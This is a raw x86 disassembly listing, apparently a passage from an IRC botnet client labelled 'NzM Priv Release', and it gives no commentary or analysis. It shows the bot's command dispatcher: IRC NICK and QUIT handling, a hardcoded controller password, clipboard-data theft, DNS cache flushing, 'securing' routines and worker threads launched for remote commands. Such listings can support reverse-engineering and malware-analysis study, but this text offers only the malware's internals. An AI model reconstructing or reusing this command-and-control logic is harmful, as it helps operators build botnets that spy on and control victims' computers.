push [ebp+var_5EC]
push offset unk_4292AC
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 4
push eax
call sub_416E58
add esp, 38h
mov [ebp+var_5F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_800]
push ebx
push eax
push offset sub_406B85
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_5F4]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_414D10
loc_414CFA: ; CODE XREF: sub_40F6F1+561Dj
cmp [ebp+var_560], ebx
jnz loc_4158C0
push 32h
nop
call near ptr 7C802442h
jmp short loc_414CFA
; ---------------------------------------------------------------------------
loc_414D10: ; CODE XREF: sub_40F6F1+5607j
nop
call near ptr 7C910331h
push eax
push offset unk_435450
jmp loc_4158B1
; ---------------------------------------------------------------------------
loc_414D21: ; CODE XREF: sub_40F6F1+1945j
; sub_40F6F1+195Cj
cmp [ebp+esi+var_90], ebx
jz short loc_414D4A
push [ebp+esi+var_90]
call sub_41791F
test eax, eax
pop ecx
jz short loc_414D4A
push [ebp+esi+var_90]
call sub_41791F
pop ecx
jmp short loc_414D4F
; ---------------------------------------------------------------------------
loc_414D4A: ; CODE XREF: sub_40F6F1+5637j
; sub_40F6F1+5648j
mov eax, dword_42ECE8
loc_414D4F: ; CODE XREF: sub_40F6F1+5657j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_57C], eax
xor eax, eax
cmp [ebp+var_9C4], bl
setz al
cmp esi, ebx
mov [ebp+var_568], eax
jz short loc_414D82
lea eax, [ebp+var_680]
push esi
push eax
call sub_4173AC
pop ecx
pop ecx
jmp short loc_414DAD
; ---------------------------------------------------------------------------
loc_414D82: ; CODE XREF: sub_40F6F1+567Ej
lea eax, [ebp+var_3FC]
push 104h
push eax
nop
call near ptr 7C814EEAh
push ebx
push ebx
lea eax, [ebp+var_2E8]
push ebx
push eax
lea eax, [ebp+var_3FC]
push eax
call sub_418AA8
add esp, 14h
loc_414DAD: ; CODE XREF: sub_40F6F1+568Fj
lea eax, [ebp+var_680]
push eax
call sub_417AF0
cmp [ebp+eax+var_681], 5Ch
pop ecx
jnz short loc_414DD8
lea eax, [ebp+var_680]
push eax
call sub_417AF0
pop ecx
mov [ebp+eax+var_681], bl
loc_414DD8: ; CODE XREF: sub_40F6F1+56D1j
push [ebp+var_8C]
lea eax, [ebp+var_908]
mov [ebp+var_90C], edi
push 80h
push eax
call sub_41792A
mov eax, [ebp+var_8]
mov esi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_680]
mov [ebp+var_570], esi
push eax
push [ebp+var_57C]
push edi
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_429190
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 3
push eax
call sub_416E58
add esp, 20h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_90C]
push ebx
push eax
push offset sub_405A6A
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_414E89
loc_414E77: ; CODE XREF: sub_40F6F1+5796j
cmp [ebp+var_560], ebx
jnz short loc_414EA4
push 32h
nop
call near ptr 7C802442h
jmp short loc_414E77
; ---------------------------------------------------------------------------
loc_414E89: ; CODE XREF: sub_40F6F1+5784j
nop
call near ptr 7C910331h
push eax
lea eax, [ebp+var_2DC]
push offset unk_435408
push eax
call sub_4173AC
add esp, 0Ch
loc_414EA4: ; CODE XREF: sub_40F6F1+578Cj
cmp [ebp+var_8], ebx
jnz loc_4157D0
push ebx
push esi
jmp loc_414FC8
; ---------------------------------------------------------------------------
loc_414EB4: ; CODE XREF: sub_40F6F1+1917j
; sub_40F6F1+192Ej
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414EC7
push esi
call sub_41791F
jmp short loc_414ECE
; ---------------------------------------------------------------------------
loc_414EC7: ; CODE XREF: sub_40F6F1+57CCj
push 8
call sub_4170BF
loc_414ECE: ; CODE XREF: sub_40F6F1+57D4j
cmp eax, ebx
pop ecx
jz loc_415956
push eax
push [ebp+var_4]
push [ebp+var_8C]
push edi
call sub_407146
loc_414EE7: ; CODE XREF: sub_40F6F1+5C86j
add esp, 10h
jmp loc_415956
; ---------------------------------------------------------------------------
loc_414EEF: ; CODE XREF: sub_40F6F1+18E9j
; sub_40F6F1+1900j
mov eax, dword_4412E0
cmp eax, ebx
jz short loc_414F0C
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_414F05
push offset unk_4353D4
jmp short loc_414F21
; ---------------------------------------------------------------------------
loc_414F05: ; CODE XREF: sub_40F6F1+580Bj
push offset unk_435398
jmp short loc_414F21
; ---------------------------------------------------------------------------
loc_414F0C: ; CODE XREF: sub_40F6F1+5805j
push offset unk_43535C
jmp short loc_414F21
; ---------------------------------------------------------------------------
loc_414F13: ; CODE XREF: sub_40F6F1+18BBj
; sub_40F6F1+18D2j
call sub_40AECD
test eax, eax
jz short loc_414F37
push offset unk_435328
loc_414F21: ; CODE XREF: sub_40F6F1+5812j
; sub_40F6F1+5819j ...
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41792A
jmp loc_4157F7
; ---------------------------------------------------------------------------
loc_414F37: ; CODE XREF: sub_40F6F1+5829j
push offset unk_4352EC
jmp short loc_414F21
; ---------------------------------------------------------------------------
loc_414F3E: ; CODE XREF: sub_40F6F1+188Dj
; sub_40F6F1+18A4j
cmp [ebp+var_8], ebx
jnz short loc_414F5B
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push edi
call sub_40DC10
add esp, 14h
loc_414F5B: ; CODE XREF: sub_40F6F1+5850j
push ebx
push [ebp+var_4]
call sub_40AA34
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
push offset dword_4352AC
jmp loc_415250
; ---------------------------------------------------------------------------
loc_414F7B: ; CODE XREF: sub_40F6F1+179Cj
; sub_40F6F1+17B3j
push 7
call sub_4170A0
test eax, eax
pop ecx
jle short loc_414F8E
push offset dword_435274
jmp short loc_414FAD
; ---------------------------------------------------------------------------
loc_414F8E: ; CODE XREF: sub_40F6F1+5894j
push [ebp+var_8C]
push edi
call sub_40BA41
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_414FA8
push offset dword_43523C
jmp short loc_414FAD
; ---------------------------------------------------------------------------
loc_414FA8: ; CODE XREF: sub_40F6F1+58AEj
push offset dword_43520C
loc_414FAD: ; CODE XREF: sub_40F6F1+543Cj
; sub_40F6F1+589Bj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_414FBB: ; CODE XREF: sub_40F6F1+1619j
; sub_40F6F1+1644j
cmp [ebp+var_8], ebx
jnz loc_4157D0
push ebx
push [ebp+var_4]
loc_414FC8: ; CODE XREF: sub_40F6F1+57BEj
lea eax, [ebp+var_2DC]
push eax
push [ebp+var_8C]
push edi
loc_414FD6: ; CODE XREF: sub_40F6F1+2B93j
; sub_40F6F1+30FDj
call sub_40DC10
add esp, 14h
jmp loc_4157D0
; ---------------------------------------------------------------------------
loc_414FE3: ; CODE XREF: sub_40F6F1+176Ej
; sub_40F6F1+1785j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push edi
call sub_40A421
jmp loc_40FAB5
; ---------------------------------------------------------------------------
loc_414FFA: ; CODE XREF: sub_40F6F1+1740j
; sub_40F6F1+1757j
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push edi
call sub_40D8B7
jmp loc_40FAB5
; ---------------------------------------------------------------------------
loc_415015: ; CODE XREF: sub_40F6F1+1712j
; sub_40F6F1+1729j
or [ebp+arg_4], 0FFFFFFFFh
nop
call near ptr 7C80929Ch
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_415040
push esi
call sub_41791F
pop ecx
mov [ebp+arg_4], eax
loc_415040: ; CODE XREF: sub_40F6F1+5943j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, [ebp+arg_4]
jnb short loc_41505B
cmp [ebp+arg_4], 0FFFFFFFFh
jnz loc_415956
loc_41505B: ; CODE XREF: sub_40F6F1+595Ej
push ebx
call sub_40BBF6
push eax
lea eax, [ebp+var_2DC]
push offset dword_4351E4
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
jmp loc_415953
; ---------------------------------------------------------------------------
loc_41509B: ; CODE XREF: sub_40F6F1+16E4j
; sub_40F6F1+16FBj
push [ebp+var_4]
push [ebp+var_8C]
push edi
call sub_408B8D
lea eax, [ebp+var_2DC]
push offset unk_4351B4
push eax
call sub_4173AC
add esp, 14h
jmp loc_4158C0
; ---------------------------------------------------------------------------
loc_4150C3: ; CODE XREF: sub_40F6F1+16B6j
; sub_40F6F1+16CDj
push 1Fh
call sub_4170A0
test eax, eax
pop ecx
jle short loc_4150ED
cmp [ebp+var_8], ebx
jnz loc_40FAB8
push ebx
push [ebp+var_4]
push offset unk_435180
push [ebp+var_8C]
push edi
jmp loc_410019
; ---------------------------------------------------------------------------
loc_4150ED: ; CODE XREF: sub_40F6F1+59DCj
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41792A
mov eax, [ebp+var_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_4F4], edi
mov [ebp+var_464], eax
mov [ebp+var_46C], ebx
jz short loc_41514B
push esi
push offset aFull ; "full"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41514B
mov [ebp+var_46C], 1
loc_41514B: ; CODE XREF: sub_40F6F1+5A3Dj
; sub_40F6F1+5A4Ej
lea eax, [ebp+var_2DC]
push offset dword_435148
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 1Fh
push eax
call sub_416E58
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_415DC2
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_4151B9
loc_4151A3: ; CODE XREF: sub_40F6F1+5AC6j
cmp [ebp+var_460], ebx
jnz loc_4157D0
push 32h
nop
call near ptr 7C802442h
jmp short loc_4151A3
; ---------------------------------------------------------------------------
loc_4151B9: ; CODE XREF: sub_40F6F1+5AB0j
nop
call near ptr 7C910331h
push eax
push offset unk_4350F8
jmp loc_4157C1
; ---------------------------------------------------------------------------
loc_4151CA: ; CODE XREF: sub_40F6F1+1688j
; sub_40F6F1+169Fj
cmp [ebp+var_8], ebx
jnz short loc_4151E7
push ebx
push [ebp+var_4]
push offset dword_4350D0
push [ebp+var_8C]
push edi
call sub_40DC10
add esp, 14h
loc_4151E7: ; CODE XREF: sub_40F6F1+5ADCj
push edi
call dword_441450 ; closesocket
call dword_441318 ; WSACleanup
call sub_40ABB7
push ebx
nop
call near ptr 7C81CDDAh
loc_415200: ; CODE XREF: sub_40F6F1+165Aj
; sub_40F6F1+1671j
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push edi
push eax
call sub_40BDAD
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
push offset dword_4350A8
jmp short loc_415250
; ---------------------------------------------------------------------------
loc_415227: ; CODE XREF: sub_40F6F1+1509j
; sub_40F6F1+1520j
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push edi
push [ebp+arg_1C]
push eax
call sub_40C061
add esp, 0Ch
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
push offset dword_435080
loc_415250: ; CODE XREF: sub_40F6F1+5885j
; sub_40F6F1+5B34j
call sub_40C4F7
jmp loc_4139FA
; ---------------------------------------------------------------------------
loc_41525A: ; CODE XREF: sub_40F6F1+14DBj
; sub_40F6F1+14F2j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push edi
call sub_40C597
jmp loc_40FAB5
; ---------------------------------------------------------------------------
loc_415271: ; CODE XREF: sub_40F6F1+14ADj
; sub_40F6F1+14C4j
cmp [ebp+var_C], ebx
mov [ebp+var_388], bl
jz short loc_4152B0
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4152B0
push esi
push [ebp+var_C]
call sub_417980
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4152B0
push eax
push offset dword_42433C
lea eax, [ebp+var_388]
push 80h
push eax
call sub_41792A
add esp, 10h
loc_4152B0: ; CODE XREF: sub_40F6F1+5B89j
; sub_40F6F1+5B94j ...
push [ebp+var_8C]
lea eax, [ebp+var_408]
push 80h
push eax
call sub_41792A
mov eax, [ebp+var_4]
push offset dword_435058
mov [ebp+var_304], eax
mov eax, [ebp+var_8]
mov [ebp+var_300], eax
lea eax, [ebp+var_2DC]
push eax
mov [ebp+var_40C], edi
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 1Dh
push eax
call sub_416E58
add esp, 20h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_40C609
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_41534D
loc_415337: ; CODE XREF: sub_40F6F1+5C5Aj
cmp [ebp+var_2FC], ebx
jnz loc_40FAB8
push 32h
nop
call near ptr 7C802442h
jmp short loc_415337
; ---------------------------------------------------------------------------
loc_41534D: ; CODE XREF: sub_40F6F1+5C44j
nop
call near ptr 7C910331h
push eax
push offset dword_435010
jmp loc_40FCA1
; ---------------------------------------------------------------------------
loc_41535E: ; CODE XREF: sub_40F6F1+147Fj
; sub_40F6F1+1496j
push [ebp+var_4]
push [ebp+var_8C]
push edi
call sub_40C47F
push offset dword_434FE8
call sub_40C4F7
jmp loc_414EE7
; ---------------------------------------------------------------------------
loc_41537C: ; CODE XREF: sub_40F6F1+1451j
; sub_40F6F1+1468j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41792A
mov eax, [ebp+var_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_4F4], edi
mov [ebp+var_464], eax
jz short loc_4153D3
push offset dword_434FE4
push esi
call sub_4177D0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_46C], eax
jmp short loc_4153D9
; ---------------------------------------------------------------------------
loc_4153D3: ; CODE XREF: sub_40F6F1+5CC6j
mov [ebp+var_46C], ebx
loc_4153D9: ; CODE XREF: sub_40F6F1+5CE0j
lea eax, [ebp+var_2DC]
push offset dword_434FB8
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 20h
push eax
call sub_416E58
add esp, 14h
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset byte_416EC3
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_415443
loc_415431: ; CODE XREF: sub_40F6F1+5D50j
cmp [ebp+var_460], ebx
jnz short loc_41545E
push 32h
nop
call near ptr 7C802442h
jmp short loc_415431
; ---------------------------------------------------------------------------
loc_415443: ; CODE XREF: sub_40F6F1+5D3Ej
nop
call near ptr 7C910331h
push eax
push offset dword_434F70
loc_41544F: ; CODE XREF: sub_40F6F1+4B2Bj
; sub_40F6F1+4C44j
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
loc_41545E: ; CODE XREF: sub_40F6F1+461Dj
; sub_40F6F1+4635j ...
lea eax, [ebp+var_2DC]
push eax
jmp loc_410F62
; ---------------------------------------------------------------------------
loc_41546A: ; CODE XREF: sub_40F6F1+13D1j
; sub_40F6F1+13E8j
push offset aArra ; "arra"
lea eax, [ebp+var_2DC]
push offset dword_434F48
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
add esp, 20h
jmp loc_411A54
; ---------------------------------------------------------------------------
loc_41549F: ; CODE XREF: sub_40F6F1+13A3j
; sub_40F6F1+13BAj
push dword_5154C0
call sub_40BBF6
push eax
lea eax, [ebp+var_2DC]
push offset dword_434F0C
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
add esp, 24h
jmp loc_411A54
; ---------------------------------------------------------------------------
loc_4154DB: ; CODE XREF: sub_40F6F1+1375j
; sub_40F6F1+138Cj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_41550B
cmp [ebp+var_C], ebx
jz short loc_415518
push esi
push [ebp+var_C]
call sub_417980
pop ecx
cmp eax, ebx
pop ecx
jz short loc_415518
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push edi
call sub_40DBCA
add esp, 0Ch
jmp short loc_415518
; ---------------------------------------------------------------------------
loc_41550B: ; CODE XREF: sub_40F6F1+5DF3j
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_40DBCA
pop ecx
pop ecx
loc_415518: ; CODE XREF: sub_40F6F1+5DF8j
; sub_40F6F1+5E07j ...
push 0FFFFFFFEh
jmp loc_40FABA
; ---------------------------------------------------------------------------
loc_41551F: ; CODE XREF: sub_40F6F1+1347j
; sub_40F6F1+135Ej
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push edi
call sub_40DBCA
push offset dword_434EBC
call sub_40C4F7
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40FABB
; ---------------------------------------------------------------------------
loc_41553F: ; CODE XREF: sub_40F6F1+1319j
; sub_40F6F1+1330j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push edi
call sub_40DBCA
push offset dword_434E7C
call sub_40C4F7
add esp, 0Ch
xor eax, eax
jmp loc_40FABB
; ---------------------------------------------------------------------------
loc_41555E: ; CODE XREF: sub_40F6F1+12EBj
; sub_40F6F1+1302j
push [ebp+var_4]
push [ebp+var_8C]
push edi
call sub_40707C
jmp loc_413963
; ---------------------------------------------------------------------------
loc_415572: ; CODE XREF: sub_40F6F1+123Cj
; sub_40F6F1+1253j
push [ebp+esi+var_90]
push 1Fh
push offset dword_434E6C
push offset dword_434E60
jmp loc_410782
; ---------------------------------------------------------------------------
loc_41558A: ; CODE XREF: sub_40F6F1+120Ej
; sub_40F6F1+1225j
push [ebp+esi+var_90]
push 1Ch
push offset dword_434E54
push offset dword_434E44
jmp loc_410782
; ---------------------------------------------------------------------------
loc_4155A2: ; CODE XREF: sub_40F6F1+104Ej
; sub_40F6F1+1065j
cmp [ebp+esi+var_90], ebx
jz short loc_4155CB
push [ebp+esi+var_90]
call sub_41791F
test eax, eax
pop ecx
jz short loc_4155CB
push [ebp+esi+var_90]
call sub_41791F
pop ecx
jmp short loc_4155D0
; ---------------------------------------------------------------------------
loc_4155CB: ; CODE XREF: sub_40F6F1+5EB8j
; sub_40F6F1+5EC9j
mov eax, dword_42ECE0
loc_4155D0: ; CODE XREF: sub_40F6F1+5ED8j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_478], eax
cmp esi, ebx
jz short loc_4155F5
push esi
loc_4155E2: ; CODE XREF: sub_40F6F1+5F13j
lea eax, [ebp+var_488]
push 10h
push eax
call sub_41792A
add esp, 0Ch
jmp short loc_41560C
; ---------------------------------------------------------------------------
loc_4155F5: ; CODE XREF: sub_40F6F1+5EEEj
cmp [ebp+var_9C7], bl
jz short loc_415606
lea eax, [ebp+var_D8]
push eax
jmp short loc_4155E2
; ---------------------------------------------------------------------------
loc_415606: ; CODE XREF: sub_40F6F1+5F0Aj
mov [ebp+var_488], bl
loc_41560C: ; CODE XREF: sub_40F6F1+5F02j
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov [ebp+var_46C], eax
mov eax, [ebp+var_8]
mov [ebp+var_468], eax
lea eax, [ebp+var_508]
push 80h
push eax
mov [ebp+var_50C], edi
call sub_41792A
add esp, 0Ch
push [ebp+var_478]
push edi
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_4296E0
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 11h
push eax
call sub_416E58
add esp, 1Ch
mov [ebp+var_474], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_50C]
push ebx
push eax
push offset sub_407F51
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_474]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_4156BA
loc_4156A4: ; CODE XREF: sub_40F6F1+5FC7j
cmp [ebp+var_464], ebx
jnz loc_40FAB8
push 32h
nop
call near ptr 7C802442h
jmp short loc_4156A4
; ---------------------------------------------------------------------------
loc_4156BA: ; CODE XREF: sub_40F6F1+5FB1j
nop
call near ptr 7C910331h
push eax
push offset unk_434DFC
jmp loc_40FCA1
; ---------------------------------------------------------------------------
loc_4156CB: ; CODE XREF: sub_40F6F1+FF2j
; sub_40F6F1+1009j ...
push [ebp+arg_8]
push offset aSecure ; "secure"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_4156F7
push [ebp+arg_8]
push offset aSec ; "sec"
call sub_4177D0
pop ecx
mov [ebp+var_46C], ebx
test eax, eax
pop ecx
jnz short loc_415701
loc_4156F7: ; CODE XREF: sub_40F6F1+5FEBj
mov [ebp+var_46C], 1
loc_415701: ; CODE XREF: sub_40F6F1+6004j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_41792A
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_46C], ebx
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
mov [ebp+var_4F4], edi
mov [ebp+var_464], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_415745
mov eax, offset aUnsecuring ; "Unsecuring"
loc_415745: ; CODE XREF: sub_40F6F1+604Dj
push eax
push offset dword_434DB0
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41792A
push ebx
lea eax, [ebp+var_2DC]
push 1Ah
push eax
call sub_416E58
add esp, 1Ch
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_416501
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_4157B5
loc_4157A3: ; CODE XREF: sub_40F6F1+60C2j
cmp [ebp+var_460], ebx
jnz short loc_4157D0
push 32h
nop
call near ptr 7C802442h
jmp short loc_4157A3
; ---------------------------------------------------------------------------
loc_4157B5: ; CODE XREF: sub_40F6F1+60B0j
nop
call near ptr 7C910331h
push eax
push offset unk_434930
loc_4157C1: ; CODE XREF: sub_40F6F1+3E9Dj
; sub_40F6F1+4D40j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
loc_4157D0: ; CODE XREF: sub_40F6F1+2B79j
; sub_40F6F1+30E5j ...
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
jmp loc_40FCA7
; ---------------------------------------------------------------------------
loc_4157E1: ; CODE XREF: sub_40F6F1+FC4j
; sub_40F6F1+FDBj
push offset aNzmPrivRelease ; "NzM Priv Release by Ud2"
lea eax, [ebp+var_2DC]
push offset dword_434D90
push eax
call sub_4173AC
loc_4157F7: ; CODE XREF: sub_40F6F1+5841j
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_411A54
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
jmp loc_411A4C
; ---------------------------------------------------------------------------
loc_41581A: ; CODE XREF: sub_40F6F1+F96j
; sub_40F6F1+FADj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_415871
push esi
call sub_41791F
cmp eax, ebx
pop ecx
jl short loc_415869
cmp eax, 2
jge short loc_415869
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_415861
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2DC]
push offset dword_4381C4
push eax
call sub_4173AC
add esp, 0Ch
mov [esi], bl
jmp short loc_4158C0
; ---------------------------------------------------------------------------
loc_415861: ; CODE XREF: sub_40F6F1+6152j
push eax
push offset dword_434D54
jmp short loc_4158B1
; ---------------------------------------------------------------------------
loc_415869: ; CODE XREF: sub_40F6F1+613Dj
; sub_40F6F1+6142j
push eax
push offset dword_434D18
jmp short loc_4158B1
; ---------------------------------------------------------------------------
loc_415871: ; CODE XREF: sub_40F6F1+6132j
mov eax, [ebp+arg_18]
xor esi, esi
mov [ebp+arg_4], eax
loc_415879: ; CODE XREF: sub_40F6F1+61A7j
push [ebp+var_94]
push [ebp+arg_4]
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_41589C
add [ebp+arg_4], 80h
inc esi
cmp esi, 2
jl short loc_415879
jmp short loc_4158C0
; ---------------------------------------------------------------------------
loc_41589C: ; CODE XREF: sub_40F6F1+619Aj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D8]
push eax
push offset dword_4381C4
loc_4158B1: ; CODE XREF: sub_40F6F1+562Bj
; sub_40F6F1+6176j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
loc_4158C0: ; CODE XREF: sub_40F6F1+5504j
; sub_40F6F1+560Fj ...
cmp [ebp+var_8], ebx
jnz loc_4100A4
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
loc_4158DB: ; CODE XREF: sub_40F6F1+1EFEj
call sub_40DC10
add esp, 14h
jmp loc_4100A4
; ---------------------------------------------------------------------------
loc_4158E8: ; CODE XREF: sub_40F6F1+F68j
; sub_40F6F1+F7Fj
push [ebp+var_90]
push offset dword_438134
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_415956
call sub_417021
push ebx
nop
call near ptr 7C81CDDAh
loc_41590A: ; CODE XREF: sub_40F6F1+F3Aj
; sub_40F6F1+F51j
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_9B8], bl
setnz al
push eax
lea eax, [ebp+var_928]
push dword_42ED00
push eax
push edi
call sub_4162D6
lea eax, [ebp+var_928]
push eax
push offset aNickS ; "NICK %s\r\n"
push edi
call sub_40DBCA
lea eax, [ebp+var_928]
push eax
push offset dword_434CE4
call sub_40C56B
loc_415953: ; CODE XREF: sub_40F6F1+356Ej
; sub_40F6F1+59A5j
add esp, 28h
loc_415956: ; CODE XREF: sub_40F6F1+65Fj
; sub_40F6F1+66Bj ...
mov eax, [ebp+arg_24]
jmp loc_40FABB
; ---------------------------------------------------------------------------
loc_41595E: ; CODE XREF: sub_40F6F1+B1Ej
; sub_40F6F1+B33j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_24], esi
jz loc_40FAB8
cmp [ebp+var_AC], ebx
jnz loc_40FAB8
push offset asc_438240 ; "!"
push [ebp+var_94]
call sub_41824D
mov esi, eax
push offset dword_441700
push ebx
inc esi
call sub_41824D
push offset asc_434CE0 ; "~"
push eax
call sub_41824D
push [ebp+arg_24]
mov edi, eax
push offset aC0d1am0z3 ; "c0d1am0z3"
call sub_4177D0
add esp, 20h
test eax, eax
jz short loc_4159F4
lea eax, [ebp+var_D8]
push edi
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40DBCA
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_40DBCA
push edi
push esi
push offset dword_434C58
jmp short loc_415A50
; ---------------------------------------------------------------------------
loc_4159F4: ; CODE XREF: sub_40F6F1+62C8j
mov [ebp+arg_0], offset off_42EE3C
loc_4159FB: ; CODE XREF: sub_40F6F1+6326j
mov eax, [ebp+arg_0]
push edi
push dword ptr [eax]
call sub_4171B1
pop ecx
test eax, eax
pop ecx
jnz short loc_415A64
add [ebp+arg_0], 4
cmp [ebp+arg_0], offset off_42EE40
jl short loc_4159FB
lea eax, [ebp+var_D8]
push edi
push eax
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40DBCA
lea eax, [ebp+var_D8]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_40DBCA
push edi
push esi
push offset dword_434C1C
loc_415A50: ; CODE XREF: sub_40F6F1+6301j
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 30h
jmp loc_4100A4
; ---------------------------------------------------------------------------
loc_415A64: ; CODE XREF: sub_40F6F1+6319j
mov edi, [ebp+arg_18]
xor esi, esi
